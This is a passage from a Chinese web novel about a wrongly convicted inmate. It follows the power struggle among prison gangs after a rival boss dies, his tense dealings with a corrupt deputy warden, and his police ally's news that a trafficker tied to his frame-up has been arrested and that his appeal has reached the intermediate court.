他顿了顿,补了一句:
“再说了,警察办案,有自己的线人网。说不定早就在查了,只是正好赶在这个时候收网。”
这话半真半假,听着却合情合理。
赵大金盯着他,看了足足半分钟。烟烧到了滤嘴,烫到手,他才猛地扔掉,用脚碾灭。
“林燃,”他声音压得很低,低得像从喉咙深处挤出来的,“我最后问你一次——陈有仁的事,跟你有没有关系?”
“没有。”林燃答得干脆。
两人对视。
操场上的嘈杂声远远传来,像隔着一层水。废器械堆的阴影里,只有风声,和两人压抑的呼吸。
许久,赵大金忽然笑了。
笑声短促,干涩,没什么温度。
“行。”他说,“我信你这次。”
林燃心里那根弦松了一扣,但没全松——赵大金说“这次”,意思很明显:暂时信你,但怀疑还在。
“不过,”赵大金话锋一转,“陈有仁死了,他手下那些人,不会消停。白癜风那条疯狗,第一个就得咬你。”
第一百一十三章 竖旗
“我知道。”林燃说。
“知道就好。”赵大金转过身,背对着他,“最近小心点。真要出了事……别指望我救你。”
说完,他抬脚走了,没回头。
小浙江看了林燃一眼,眼神复杂,终究什么也没说,跟了上去。
林燃站在原地,看着两人的背影消失在器械堆后面。
风吹过来,带着雨后泥土的湿气。他深吸一口,冷空气灌进肺里,清醒得有点刺痛。
赵大金这边,暂时稳住了。
但只是暂时。
…………
接下来两天,监狱表面平静,底下却暗流汹涌。
笑面佛的死,像块大石头砸进池塘,涟漪一圈圈荡开。管教们巡查的次数明显多了,放风时狱警站的位置也更密集,像防着什么。
白癜风果然没消停。
第二天午饭,林燃在食堂打饭,白癜风带着两个人,故意从后面撞上来。林燃手里的饭盆差点脱手,菜汤泼了一身。
“哎哟,对不住啊。”白癜风咧着嘴笑,吊着的胳膊晃了晃,“手不方便,没站稳。”
林燃没说话,低头看着胸前那片油渍。
周晓阳要冲上去,被他一把按住。
“没事。”林燃说,声音很平。他抬起眼,看向白癜风,“白哥手还没好,是该小心点。”
白癜风脸上的笑僵了僵。他以为林燃会发火,会动手,那样他就有理由闹大。可林燃这副平静的样子,反倒让他有点怵。
“你……”白癜风还想说什么。
林燃已经转身,走到水龙头前,拧开水,慢慢冲洗胸前的油污。水很凉,激得皮肤一紧。他洗得很仔细,像在完成什么仪式。
白癜风瞪着他的背影,胸口起伏了几下,最终啐了一口,带着人走了。
周围看热闹的犯人悄悄散开。没人说话,但眼神里的东西更复杂了——林燃这反应,不是怂,是根本没把白癜风放在眼里。
当天下午,车间里传出消息:白癜风被调岗了。从相对轻松的质检岗,调去了最累的搬运组。理由是“手部受伤,不适合精细作业”。
明眼人都知道,这是有人在敲打他。
谁敲打的?不知道。可能是管教,也可能是……别的什么人。
白癜风在车间里摔了东西,骂了娘,但没用。调令是上面下的,他只能认。
林燃听到消息时,正在缝纫机前走线。针头上下跳动,布料在手下滑过。他脸上没什么表情,心里却清楚——这恐怕是秦卫国那边动作的余波。笑面佛倒了,他手下这些虾兵蟹将,该收拾的都得收拾。
不只是白癜风。
接下来两天,笑面佛手下几个小头目,陆续出了“状况”。有的违规被关禁闭,有的劳动分被扣,有的甚至被调去了别的监区。
树倒猢狲散。散的不仅是人心,还有实实在在的利益和位置。
而这些空出来的位置,自然会有人盯上。
林燃自己也没办法置身事外。
他这段时间也不准去图书室做兼职,开始以为只是单纯的赶工期,后面林燃才被告知,监狱上面有领导对他有意见。
他不用想都知道肯定是李昌东在中间搞鬼。
…………
第三天上午,林燃被通知去接电话。
电话间里还是那股熟悉的霉味。值班狱警歪在藤椅里,眼皮耷拉着,像在打盹。
林燃拨了秦墨的寻呼台号码。
回电来得很快。秦墨的声音透过听筒传来,带着压抑不住的兴奋,但比上次克制了些。
“林燃!”
“嗯。”
“你……你还好吗?”她问,声音里有关切。
“好。”
“大局已定。”秦墨语速快起来,“他名下那……”
“咳咳!”
虽然已经升副中队长了,但这姑娘在自己面前还是容易犯懵,差点就当着管教的面说错话了。
好在林燃提醒下,秦墨才收住口。
“哎呀,那我干脆明天过来会见吧?”
她心里的表达欲溢出言表,却又不能在这说出,十分难受。
“不,这段时间赶劳动分,你先别来。”
说,“最近不方便,先别联系。”
“那……那我回去给你写信!”
林燃刚想说最近写信也不太方便。
“你呢?”秦墨就急着问,“监狱里……没人为难你吧?”
“没有。”林燃说,“挺好。”
电话那头沉默了几秒。秦墨似乎想说什么,又咽了回去。最后,她低声说:“谢谢你,林燃。这次……没有你,这个……事没办法解决。”
她说得诚恳。
林燃握着听筒,没接话。电话线在手指间绕了一圈,勒出浅浅的印子。
“应该的。”他说。
“你小心点。”秦墨叮嘱。
“嗯。”
通话时间快到了。值班狱警咳嗽了一声,示意挂断。
“对了。”秦墨最后说,“你上次借钱,估计在里面也缺钱用,我最近发工资,给你寄了点……”
“不用了。”林燃打断她,“你自己留着。”
“可是……”
“没事,我不用,上次是特殊情况。”林燃说得很淡,“我有办法弄钱。”
电话那头,秦墨似乎愣了一下。然后,她轻轻“嗯”了一声。
“那你好好的……我……我们再联系,我等你出来。”
最后这句话,带着淡淡的隽永情意,真像一对恋人间的依依不舍,让林燃都有些意外。
“嗯。”
挂断电话,金属听筒撞在话机上,“咔”一声脆响。
林燃走出电话间。走廊里的灯光惨白,照在水泥地上,反射出冷硬的光。
虽然这姑娘没说详细,但他也猜到秦墨又立功了。
笑面佛的案子,够她再往上走一步。这是好事——她在外面位置越高,自己能用的资源就越多。
但赵大金那边……
疑点重重的前警察,在监狱里拉起一帮人,号称“保护老乡”,实际也在经营自己的势力。他和笑面佛斗了这么久,现在笑面佛死了,他会怎么想?
会不会觉得,下一个就该轮到他了?
码头帮呢?那也是乐见其成,现在整个监区的势力划分完全不一样了。
林燃慢慢往回走。脚步声在空旷的走廊里回荡,一声,一声。
自己也该培养自己的势力,竖起旗帜了。
第一百一十四章 警告
但现在,他得先应付眼前的事。
…………
笑面佛毕竟是曾经的大佬,他的死没这么容易糊弄过去。
很快,消息灵通的已经拼凑出大概轮廓。
西城冷库挖出两具骸骨的事,到底没完全捂住。
不知哪个环节漏了风,犯人中间开始流传“佛爷手里有命案”“埋了十几年”“这次被市局抄了底”之类的说法。细节模糊,但指向明确——笑面佛不是病死的,是事发了,吓死的,或者干脆就是被“处理”了。
这种说法比官方通报更有生命力,也更有威慑力。
放风时,东北角那片地方空了。
白癜风没出现,平时总围着笑面佛转的几个骨干也没露面。有人看见他们被管教单独叫走,去了办公楼,再没回来。
倒不是被抓——还没那么快。但隔开审查是跑不掉的,拔起萝卜带出泥,笑面佛倒了,底下这些人身上那些偷鸡摸狗的烂账,够他们喝一壶。
码头帮那边也安静。
大眼仔依旧蹲在西南角,但话少了,烟抽得凶。他时不时瞥一眼空荡荡的东北角,又看看北佬帮的方向,眉头皱成疙瘩。
北佬帮的赵大金现在露面倒多了。
他没蹲在往常那个位置,而是站在放风区边缘的铁丝网旁,面朝外,背对着场内。小浙江站在他身后三步远,像道沉默的影子。
两人都没说话,但那种无声的压迫感,比平时更重。
现在三监区的三巨头,只有码头帮和北佬帮,之前笑面佛的势力范围出现巨大的空缺。
两方都在观望,都在试图吞并。
都在看谁先坐不住。
但没想到。
先坐不住的居然是李昌东。
笑面佛死后第三天,林燃被叫去了副监狱长办公室。
不是上次那个偏僻的仓库谈话室,是正儿八经的办公室。窗明几净,文件柜擦得锃亮,空气里有股淡淡的樟脑丸味儿。
李昌东坐在宽大的办公桌后,脸色比上次见时更差。眼袋浮肿,眼睛里布满血丝,像是几天没睡好。他面前摊着几份文件,但心思显然不在上面。
看见林燃进来,他抬了抬眼皮,没让坐。
“关门。”他说,声音沙哑。
林燃反手带上门,站在办公桌前。
李昌东盯着他看了足足半分钟,手指无意识地敲着桌面。咚,咚,咚。节奏很乱。
“陈有仁死了。”他突然开口,没头没尾。
“听说了。”林燃答。
“你怎么看?”
“我没什么看法。”
“没什么看法?”李昌东冷笑一声,身体前倾,手肘撑在桌面上,“林燃,别跟我装。陈有仁怎么死的,你比我清楚。”
林燃没说话。
“听说陈有仁手上有命案?市局还在查他?”
李昌东又试着问道。
“我在这里,我不清楚。”
林燃依旧麻木。
“听说,在冷库地底下,发现两具尸体,和陈有仁有关,这么隐秘的事,是你捅出去的吧?”李昌东声音压得很低,每个字都像从牙缝里挤。
“借公安的手,把陈有仁的老底掀了,再在他保外就医的路上堵死他……好手段啊。”
林燃抬起眼,看着李昌东。
这位副监狱长此刻撕掉了平时那层虚伪的官架子,露出底下那张因阴鸷的脸。
笑面佛的死,对他没什么影响,但是更让他紧张,彭振的态度,笑面佛生前的压力,都证明了眼前男人的不简单。
和林燃的合作,会不会有大风险!?
这是他要弄清楚的
不能把自己暴露在了风险里——这是李昌东的原则。
谁都知道林燃在监狱里是他罩着,开始是因为这小子算上道,在外面虽然有些麻烦,但还能控制。
可现在发现,林燃他没有想象的那么简单。
连一直占据上风的笑面佛,居然都死在他手里!?
这是养虎为患!
而且,这小子如果再继续弄大事。
那些见不得光的交易,会不会顺着线摸到他李昌东头上?
“彭监,”林燃开口,语气平淡,“您说的这些,我不懂。我就是个服刑的犯人,外面的事,轮不到我操心。”
“轮不到你操心?”李昌东猛地一拍桌子,震得茶杯盖跳了一下,“林燃,我告诉你,陈有仁死了,但他外面那些生意、那些关系网没死!现在市局盯着,监狱管理局也在查,你以为你能摘干净?”
他喘了口气,眼神狠戾:“我要的是发财,要的是风平浪静,你这样搞事,我怎么放心?你要是出事了,难道我要替你垫背?再说了,你那些小动作,你真以为没人知道?”
威胁
赤裸裸的威胁。
但林燃听出了底下的色厉内荏。李昌东慌了,他怕了,所以才会用这种拙劣的方式恐吓,试图找回一点掌控感。
“李监,”林燃看着他,忽然笑了笑,“您放心,真出事,你拉我垫背,随时可以。不过我听说,市局这次动作很快,秦副局长亲自挂帅,不光查陈有仁,连他那些‘合作伙伴’也要一锅端。”
他顿了顿,看着李昌东骤然收缩的瞳孔,慢悠悠补了一句:
“就是不知道……那些‘合作伙伴’里,有没有人手脚不干净,留下了什么把柄。万一被查出来,恐怕就不是垫背这么简单了。”
话没挑明,但意思到位了。
他彭振和笑面佛关系这么密切,屁股底下也不干净。笑面佛死了,那些见不得光的账本、贿赂记录、利益输送的链条,会不会被警方顺藤摸瓜?
“敌人的朋友出了事,敌人会好过吗?这样想,您会不会心情好点。”
林燃意思很清楚,笑面佛出事,彭振肯定也会有影响,这对于同级的李昌东,反而是好事。
李昌东脸色由青转白,又由白转红,最后复归平静。
他张了张嘴,想说什么,但喉咙里像堵了团棉花,半晌没发出声音。
但脸色明显好多了。
显然也是想到了这一茬。
办公室里只有挂钟秒针走动的嘀嗒声,还有李昌东粗重的呼吸。
过了大概一分钟,他像泄了气的皮球,瘫回椅子里,挥了挥手:“总之,你不要再给我惹事……滚。”
林燃没多说,转身离开。
第一百一十五章 新规矩
雨停后的第三天,放风。
操场东北角那块地方,空了。
不是没人去,是没人敢往中间站。犯人们三三两两聚在边缘,抽烟,说话,眼睛却时不时往那片水泥地瞟——以前那儿总是蹲着个人,脸上带笑,手里捏着树枝,像尊佛。
现在只剩下一圈被鞋底磨得发亮的痕迹,还有几处烟头烫出来的焦黑印子。
像台风过后的海滩,潮水退去,露出底下乱七八糟的礁石和破烂。
白癜风还有跟着笑面佛混的几个小头目,也陆续“不见了”。有的调去了其他监区,有的关禁闭审查,还有个因为私藏违禁品被加了半个月刑期。
之前笑面佛刚死时,他们还呲牙咧嘴的作势要报复。
但最近反而低调许多。
林燃看在眼里,心里提防的更紧了。
虽然没有证据,但都知道笑面佛一直在想弄他,不管是买凶还是动手,现在人没了,不管是不是主谋,这笔账总有一部分在他身上。
而管教们巡查的脚步比平时密,警棍在手里掂着,眼神像探照灯,扫过每一个角落。
但林燃看得出来——那些管教也在观察。
观察谁往东北角靠,观察谁和谁交换眼神,观察这片权力真空地带,最后会被哪股势力填上。
“燃哥。”
铁头不知什么时候凑了过来。这壮汉最近瘦了点,脸颊凹进去,但眼睛亮,搓着手,压低声音:“东北角那块……空了。”
铁头这小子之前赌球局时,帮了林燃大忙,但是后面笑面佛疯狂买凶,加上林燃被扔进医疗监区,形势岌岌可危。
这小子虽然外表蛮横,实际却是个老油条,一见和林燃走的太近,自己也有危险,就疏远了好段时间。
现在林燃绝地反击,笑面佛身死,他自然看准了自己这“前老大”,主动又冒了出来。
林燃没接话,目光落在操场铁丝网外。雨后的天空洗过似的,蓝得发脆,几缕云丝扯得老长。
“我是说,”铁头舔了舔嘴唇,“老大,赌局……还能不能搞?”
林燃转回头看他。
倒不是厌恶他之前躲着自己。
在安江监狱里,逢高踩低,趋利避害,死道友不死贫道,这都是“基本道德”。
而是这小子提的这个主意有点太沙币了。
铁头被看得有点不自在,挠挠头:“我知道,前阵子风紧。可现在佛爷没了,他手下那帮人也散了……码头帮和北佬帮那边,我看也没动静。咱们要是这时候把盘口重新开起来……”
“你觉得现在开赌局,安全?”林燃问。
“这……”铁头噎住了。
不安全。谁都看得出来,监狱上头现在绷着一根弦。笑面佛刚死,市局的人前两天还在办公楼里进进出出,这时候顶风作案,等于往枪口上撞。
“可是燃哥,”铁头不甘心,“咱们现在缺钱啊。你上次那笔……呃,反正手头紧。不开赌局,哪来的进项?”
这倒是实话。
林燃兜里比脸干净。上次从秦墨那儿借的八千,刘长生那儿压榨来的三千,全填了李昌东那个无底洞。
现在他吃饭想加餐都得靠周晓阳和刀疤辉匀出来那点,虽说饿不死,但长远看不是办法。
在监狱里,钱不是万能的,但没钱是万万不能的。
买通关系、打点关节、换取情报、甚至保命——哪一样不需要真金白银?
“赌局暂时不能动。”林燃说得很慢,像在掂量每个字的分量,“风头没过,谁先冒头谁死。”
铁头肩膀塌下去,眼神黯淡。
“但钱得赚。”林燃补了一句。
铁头猛地抬头:“燃哥有路子?”
“路子是人走出来的。”林燃没正面回答,目光扫过操场西南角——码头帮的人聚在那儿,大眼仔正和手下说着什么,偶尔往东北角瞥一眼,眼神里没什么情绪,像在看一块迟早要下锅的肉。
正想着,大眼仔忽然转过头,视线和林燃撞上了。
隔着半个操场,两人对视了两三秒。然后大眼仔咧开嘴,笑了,抬手朝林燃这边挥了挥,动作自然得像老朋友打招呼。他转身跟手下交代了几句,迈步朝这边走过来。
铁头下意识往林燃身后缩了半步。
“林燃。”大眼仔走到近前,脸上笑容没减,“有阵子没聊了。”
“大眼哥。”林燃叫了一声。
“别,叫大眼就行。”大眼仔摆摆手,从兜里摸出包烟,弹出一根递过来。是红塔山,监狱里的硬通货。
林燃接了,没点,夹在指间。
大眼仔自己点上一根,深吸一口,烟雾从鼻孔缓缓喷出。他目光在空荡荡的东北角停了停,又转回林燃脸上:“佛爷那摊子……可惜了。”
话说得含糊,意思却明白。
林燃没接茬,等着下文。
“他手下那些生意,”大眼仔弹了弹烟灰,“现金兑换,货品流通,还有一些……零碎买卖。现在树倒了,猢狲也散了,但这些路子还在。”
他顿了顿,看着林燃:“有兴趣一起做吗?”
话说得直白。码头帮想接管笑面佛留下的地下网络,但吃独食容易噎着,拉个人分担风险,顺便试试林燃的底。
林燃沉默了几秒。烟在指间慢慢转着,滤嘴被捏得微微变形。
“大眼哥看得起我。”他开口,声音平稳,“不过现在这风头……是不是急了点?”
大眼仔笑容淡了些:“风头总会过去。生意不等风。”
“不等风,但得看天气。”林燃抬起眼,“市局的人还没撤干净,监狱上头也盯着。这时候伸手,容易烫着。”
话里婉拒的意思明显,但没把路堵死。
大眼仔盯着他看了几秒,忽然笑了,这次笑容真实了点:“行,你谨慎。那这样——生意的事先放放。不过有句话我得说前头。”
“您说。”
“笑面佛没了,三监区得有个新规矩。”大眼仔声音压低,只有两人能听见,“码头帮不惹事,但也不怕事。以后你林燃要是想做什么……赌局也好,别的也罢,只要不碰我们的线,码头帮就当没看见。”
第一百一十六章 狗皮蛇
这话半是拉拢,半是划界。
林燃点头:“明白。”
“成。”大眼仔把烟头扔地上,用鞋底碾灭,“那先这样。有空……多走动。”
他说完,转身走了,背影在午后的阳光下拖得老长。
铁头等大眼仔走远,才敢喘气:“燃哥,他这是……”
“试探。”林燃把没点的烟揣进口袋,“顺便划地盘。”
“那咱们……”
“不急。”林燃转身,朝监舍楼方向走,“有人比咱们急。”
果然,当天傍晚,放风结束前,小浙江又来了。
这次他没找林燃,而是走到周晓阳身边,低声说了句什么。周晓阳脸色变了变,转头看向林燃。
林燃走过去。
小浙江递过来一张折成指甲盖大小的油纸,没说话,转身就走。
纸片上只有一行铅笔字,字迹潦草却有力:“虎爷说,见一面。老地方,现在。”
林燃把纸片揉碎,塞进嘴里。
又是这一套。
还是那片废器械堆。赵大金蹲在那儿,这次没喂蚂蚁,手里捏着半块馒头,一点一点掰碎,扔在地上。馒头屑引不来蚂蚁——太干了,在水泥地上滚两圈,沾满灰尘。
听见脚步声,他抬起头。
天色将暗未暗,最后一缕夕光从云缝里漏下来,照在他脸上那道疤上,深褐色,像条蜈蚣。
“来了。”他说。
林燃在距离他两米的地方停下。这个距离不远不近,够说话,也够反应。
“虎爷。”
赵大金把最后一点馒头屑弹掉,拍拍手,站起身。他个子不高,但站直了,那股压迫感就从骨子里透出来。
这次他没再过问之前冷库的事了,可能这北方佬也想通了:现在笑面佛已经没了,纠结谁设计他,意义已经不大,倒是现在林燃一下威望上来,反而需要拉拢。
特别得赶在码头帮之前。
“大眼仔找你了?”他开门见山。
“找了。”林燃没隐瞒。
“谈什么?”
“生意。”
“哪方面的生意?”
“笑面佛留下的那些。”林燃答得坦荡,“现金,货,路子。”
赵大金眯起眼:“你答应了?”
“没。”林燃摇头,“我说风头紧,等一等。”
赵大金盯着他,看了几秒,忽然笑了。笑声短促,干巴巴的,没什么温度。
“你倒是稳。”他说,“不过林燃,光稳没用。笑面佛没了,三监区这块肉,多少人盯着。码头帮想吞,我北佬帮也想吃。你夹在中间……不好受吧?”
话说到这份上,意思再明白不过。
林燃没接话,等着。
“跟我合作。”赵大金往前踏了半步,两人距离拉近到能看清对方瞳孔里的倒影,“北佬帮和你,一起把三监区吃下来。码头帮那边,我去谈,他们不服,我们就干他们。笑面佛留下的生意,咱们三七分——你三,我七。”
条件开得干脆,甚至算得上“公道”。在北佬帮眼里,林燃值这个价。
林燃沉默了一会儿。夕光彻底沉下去,夜色从四周合拢,废器械堆的阴影拉长,像张开的兽口。
“虎爷,”他开口,声音在暮色里显得格外清晰,“我现在……不能答应。”
赵大金脸上的笑容消失了。
“理由?”他问,声音冷下来。
“风头没过。”林燃说,理由和拒绝大眼仔时一样,“市局还在查笑面佛的案子,监狱上头也盯着。这时候搞大动作,容易引火烧身。”
“那你觉得什么时候合适?”
“等。”林燃吐出这个字,“等风过去,等局面明朗,等该跳出来的人都跳完了。”
赵大金不说话了。他背着手,在阴影里踱了两步,皮鞋踩在碎砖头上,发出细碎的“咔嚓”声。
过了大概半分钟,他停下脚步,转过身。
“行。”他说,语气听不出喜怒,“你愿意等,就等。不过林燃,有句话我得说前头——等,可以。但别等太久。三监区这块肉,不会一直空着。”
他顿了顿,补上最后一句:
“还有,你想做什么小动作——赌局也好,别的也罢,北佬帮不干涉。但有一条,别碰我们的线。”
这话和大眼仔说的几乎一模一样。
看来两边都有了同一个判断。
林燃点头:“明白。”
赵大金最后看了他一眼,转身消失在器械堆的阴影里。小浙江从暗处走出来,跟了上去,临走前回头瞥了林燃一眼,眼神复杂。
林燃站在原地,没动。
夜风吹过来,带着深秋的寒意。他深吸一口气,冷空气灌进肺里,清醒得刺痛。
两方都来拉拢,两方都划了线。表面看是好事——至少短期内,没人会动他。但林燃心里清楚,这种“平衡”脆弱得像层纸,一捅就破。
他得尽快找到自己的路。
一条不靠任何人,也能活下去、甚至爬上去的路。
…………
第二天上午,阅览室。
林燃抱着一摞新到的报纸和杂志,走进那间熟悉的屋子。霉味和旧纸张的气息扑面而来,老赵头还坐在那张掉漆的办公桌后,老花镜滑到鼻尖,正对着一本泛黄的登记册打瞌睡。
听见动静,他抬了抬眼皮,见是林燃,挥挥手:“放那边,自己整理。”
林燃把报纸搬到靠窗的旧木桌前,开始分类。《安江日报》《法治周刊》《体坛周报》……日期是最近三天的,油墨味儿还没散尽。
他整理得很慢,一张一张翻过去,目光扫过那些千篇一律的标题:市政会议,领导视察,经济数据,社会新闻。
翻到《法治周刊》第二版时,他手指顿住了。
右下角,一块豆腐干大小的报道,标题不起眼:“市局联合多地警方,破获跨省贩毒网络,抓获主犯‘狗皮蛇’”。
报道很短,内容公式化:近日,安江市局缉毒支队在省厅统一指挥下,联合邻省警方,成功打掉一个长期活跃的跨省贩毒团伙,抓获犯罪嫌疑人十余名,缴获毒品若干。该团伙主犯外号“狗皮蛇”,长期流窜作案,此次落网标志着我市禁毒工作取得又一重大战果……
字很少。
但“狗皮蛇”这三个字,像一根烧红的针,狠狠扎进林燃眼里。
第一百一十七章 落网
他捏着报纸边缘的手指,微微发白。
狗皮蛇。
那个在2000年6月12日晚上,在城西老码头三号仓库,把一罐“双狮地球”白粉交到他手里的小头目。那个姚永军让他“接触”、让他“取得信任”的“小头目”。
那个他重生回来这一年多,无数次在脑子里描摹、恨不得生啖其肉的人。
现在……落网了?
林燃盯着那几行字,一字一字地读,像要把每个笔画都刻进脑子里。报道写得模糊,没提具体时间,只说“近日”。没提细节,只说“联合行动”。但“狗皮蛇”这个外号,错不了。
当年姚永军给他看的档案里,就有这个外号。
他慢慢放下报纸,手有点抖。不是害怕,是一种更复杂的情绪——愤怒,不甘,还有一丝猝不及防的茫然。
狗皮蛇落网,意味着什么?
意味着当年那条“控制下交付”的陷阱,可能找到突破口了?意味着姚永军那个“副局长”的身份,有可能被挖出来?还是说……这只是一次巧合,一次和他林燃的案子毫无关联的普通缉毒行动?
他需要知道更多。
需要知道狗皮蛇是在哪儿被抓的,怎么抓的,审讯说了什么,有没有牵扯出2000年6月12日那个晚上,有没有提到一个叫“林浩”的卧底,或者……一个叫“姚永军”的副局长。
他需要联系秦墨。
现在。
林燃站起身,动作有点急,椅子腿在地面上刮出刺耳的响声。
老赵头被惊醒了,抬起眼皮:“咋了?”
“赵叔,”林燃声音发干,“我……肚子疼,想去趟厕所。”
老赵头皱眉,看了眼挂钟:“快去快回。这批报纸今天得整理完。”
“知道了。”
林燃快步走出阅览室。走廊里空荡荡的,只有应急灯惨白的光。他走到楼梯拐角,没往厕所去,而是径直朝三楼电话间的方向走。
心脏在胸腔里撞,一声,一声,擂鼓似的。
走到电话间门口,值班狱警还是那个年轻人,歪在藤椅里翻报纸。看见林燃,他抬了抬眼皮:“又肚子疼?”
“报告管教,”林燃尽量让声音平稳,“我想打个电话。家里……有点急事。”
狱警放下报纸,打量了他几眼。林燃脸色确实不太好,额头上还有层薄汗——是刚才急出来的。
“时间别太长。”狱警最终摆摆手,“进去吧。”
“谢管教。”
林燃走进电话间,反手带上门。空间窄得转不开身,话筒上那层油渍和汗渍混合的包浆,在昏暗的光线下泛着腻光。
他拿起听筒,手指有点僵。拨号盘转动的咔嗒声,在寂静里格外清晰。
先拨了秦墨的寻呼台号码。
等待回电的几分钟,像被拉长成一个世纪。墙上挂钟的秒针一格一格跳,声音放大,砸在耳膜上。
终于,电话铃响了。
林燃抓起听筒。
“喂?”是秦墨的声音,背景有点嘈杂,像是在办公室。
“我,林燃。”他声音压得很低,“有急事。”
秦墨那边顿了顿,随即传来椅子挪动的声音,背景嘈杂声小了些,像是她走到了安静处。
“你说。”她语气严肃起来。
“你尽快安排探监,我们见面说。”
林燃少有的重视态度,让她也有些紧张。
“好的,我尽快。”
“不是尽快!最好是马上!”
秦墨愣了一下,但还是答应下来。
果然,第二天一早,秦墨就赶紧穿着一身裙装,来到了会见室。
“嗨~”
在会见室里,一身靓丽短裙,扎着马尾的秦墨还想着和之前一样,先上去搂一下林燃的脖颈,继续装情侣的模样,在监视会见的管教面前起码不露馅。
可没想到,林燃却神情麻木的由着她抱了一下,就急切的坐在桌上。
“我问你一个关键问题——‘狗皮蛇’是不是被抓了?”
林燃目光灼灼,每个字都像从喉咙里挤出来。
秦墨却愣了一下,马上反问道:“那我问一个问题——谁是‘狗皮蛇’?”
林燃有些问懵了:“就是那个小头目啊!我被陷害时,当时接头的就是他啊!你怎么不记得了?”
“噢,不好意思。”
秦墨连番道歉,看样子是完全不记得林燃提过这个人了。
确实,对于他人的苦痛来说,旁观者永远无法感同身受。
对林燃说恨不得生啖其肉、刻骨铭心的仇人。
对于秦墨只是他人背景中的一个注脚。
但考虑到这人对于林燃的重要性,秦墨也重视起来。
她赶紧回忆起最近局里的案子,还真有起大案。
她首先想到的是林燃的信息途径:“你……怎么知道?”
“报纸上看到了。”林燃说,“我要知道细节。什么时候抓的,在哪儿,审讯说了什么——所有细节。”
“你先别急……”
林燃不等她讲完,手用力往桌上一撑,整个脸上青筋暴起,这下声响,让旁边无聊的管教都抬起来头。
他如此失控急躁的样子,秦墨还是第一次见到。
“我怎么可能不急!你们能抓到这个人,那就能牵出姚永军!就能还我清白!我怎么可能不急!”
“我理解,但是……”
秦墨指了指旁边凑过来询问的管教,林燃这次想起自己的处境,赶紧回头和民警表示自己没事。
“小情侣别吵架啊!这在里面了,还不珍惜人家姑娘,再嚷嚷别会见了!”
“领导对不起!”
秦墨赔了一番笑脸,才把管教哄回去。
林燃按捺情绪,仍然问着情况。
“这个案子,我大概也听说过,最近是有个省厅督办的案子……”秦墨的话让林燃燃起了希望。
但她声音有些迟疑:“可这案子好像是涉毒案,是禁毒大队那边负责的,我在刑侦……这个相关信息我看不到。”
“你想想办法吧,这事对我很重要,你知道的。”
“我知道,但是这案子还在侦办阶段,很多信息不能外泄。而且……”
“而且什么?”
“而且牵扯很广。”秦墨语速快起来,“狗皮蛇不是单独落网的,是整个网络被端。省厅牵头,多地联合,抓了十几个人。现在审讯还在进行,而且看局里的动作和布置,还在往下挖……他们背后还有人。”
第一百一十八章 上诉
“谁?”
“不知道。”秦墨说。
“那你……”
林燃本来想再逼她快一点,但很快想起,眼前的姑娘,确实已经尽力了。
“我会尽快,有消息就及时告诉你,好吗?”
“嗯。”
“对了,上次的陈有仁的案子,真多亏了你的情报。”秦墨语速快起来,“陈有仁名下那几家建材公司,已经被查封了。账目一塌糊涂,偷税漏税、非法经营,还有……西城那件事,证据链基本闭合了。虽然他人死了,但该查的都得查,该抓的……”
她顿了顿,“抓了十几个。包括他几个骨干手下,还有当年参与强拆的包工头。”
林燃听着,手指无意识地敲着桌面,这事在之前是大事,天大的事,但现在牵出“狗皮蛇”的事后,他已经不太关心了。
“这次动静很大,市里很重视。西城那片地,牵涉的人不少……不过,总算挖出来了。”
她说得轻描淡写,但林燃能听出背后的分量——两条人命,埋了这么多年,牵扯的利益网恐怕不小。
秦卫国这次,是下了决心要撕开一道口子。
“你呢?”秦墨忽然问,“监狱里……没人为难你吧?”
“没有。”林燃说,“挺好。”
话说的随意,但林燃脸上的胡茬,细碎的伤口,忧心忡忡的眼神,让一个原本清秀的年轻人,显得郁郁阴沉。
怎么也归不到“挺好”两个字上。
沉默了几秒。秦墨似乎想说什么,又咽了回去。最后,她低声说:“谢谢你,林燃。这次……不,应该是这一年以来,没有你,我不可能进步的这么快。”
她说得诚恳。
林燃没接话。心里还想着自己的事。
“对了,”秦墨想起什么,“你上次让我查的那个北佬帮赵大金……”
“怎么样?”
“绥河市那边回复了。”秦墨声音压得更低,“赵大金,原名赵建国,确实是前缉毒警。1998年因为一起毒品案被停职调查,后来车内搜出毒品,被判无期。案子……有点疑点。”
“什么疑点?”
“当时指证他的几个证人,后来翻供了,说被威胁。但翻供的时间点,已经是赵大金入狱后,没人理会。”秦墨顿了顿,“还有,那家涉事物流公司的老板,第二年就移民了,公司也注销了。”
林燃眼神沉了沉。
和他猜的差不多——赵大金也是被栽赃的。手法粗糙,但有效。
“我知道了。”他说。
“你小心点。”秦墨叮嘱,“赵大金这人,在监狱里经营这么多年,不简单。”
“嗯。”
会见时间快到了。后面狱警咳嗽了一声,示意要结束了。
“对了,上次的那八千块钱……”
“我会还你。”
林燃一边起身,一边随口说道。
秦墨却急着摆了摆手:“不不不,我意思是你就别还了,算是奖金……或者报酬吧,真的很感谢你这一年帮我……”
林燃看了她一副认真样子,不置可否的点了下头。
“那……”
最后按惯例,秦墨绕过会见桌,凑到林燃面前,双手环在他身后,轻轻抱了一下。
女子的发香和着体温,将轻语送到林燃耳边:“还有个事,我提醒你一下,听说你案子上诉的事,好像递到中院了,这段时间可能会讨论,你关注一下。”
这句话让林燃浑身一震。
上诉已经是快一年前的事了,国内上诉程序比较漫长,这倒不奇怪,现在这个时候,上诉程序进入实质阶段,那就十分关键。
恰好是“狗皮蛇”落网的时机!
这会不会有转机!
他眼睛一下睁亮。
这大半年接触下来,秦墨和他感情渐深,对于林燃的案子,她也自然关心。
听到上诉进入正式程序后,她今天就赶紧把这个消息带了过来。
前面两人急着聊那些事,最后临走前才想起这个关键消息。
这对林燃是好事,也是机会。
“啊!太好了!”
他一下振奋起来,原本垂下的手,总算有了反应,在背后也搂抱了一下秦墨。
这一下,将眼前丽人推入怀中。
贴上男子不算宽厚,但精干有力的胸膛,让她顿时有些异样的心乱。
“好了好了,抱了这么久了,可以了。”
管教催促下,两人才匆匆分开。
“那……下次见。”
“嗯嗯……”
这次会见,不仅仅是消息重要,更加让两人增进了关系。
…………
会见结束后的走廊,长得像永远走不完。
林燃跟在狱警身后,皮鞋声在空旷的通道里撞出回声,一声叠一声,闷得人心慌。脑子里还滚着秦墨最后那句话——“上诉递到中院了”。
中院。
狗皮蛇落网。
两件事撞在一起,像黑暗中突然擦亮的火柴,那点火光烫得他指尖发麻。有机会了,真有机会了。
只要狗皮蛇开口,只要咬出姚永军,只要……
他手指无意识地蜷了蜷,指甲掐进掌心,疼,但让人清醒。
走廊拐角处,狱警停下来掏钥匙开铁门。林燃抬眼,余光瞥见斜对面那扇门虚掩着——
是医务室的配药间。门缝底下漏出一线光,昏黄,颤巍巍的,像随时会灭。
然后他听见了声音。
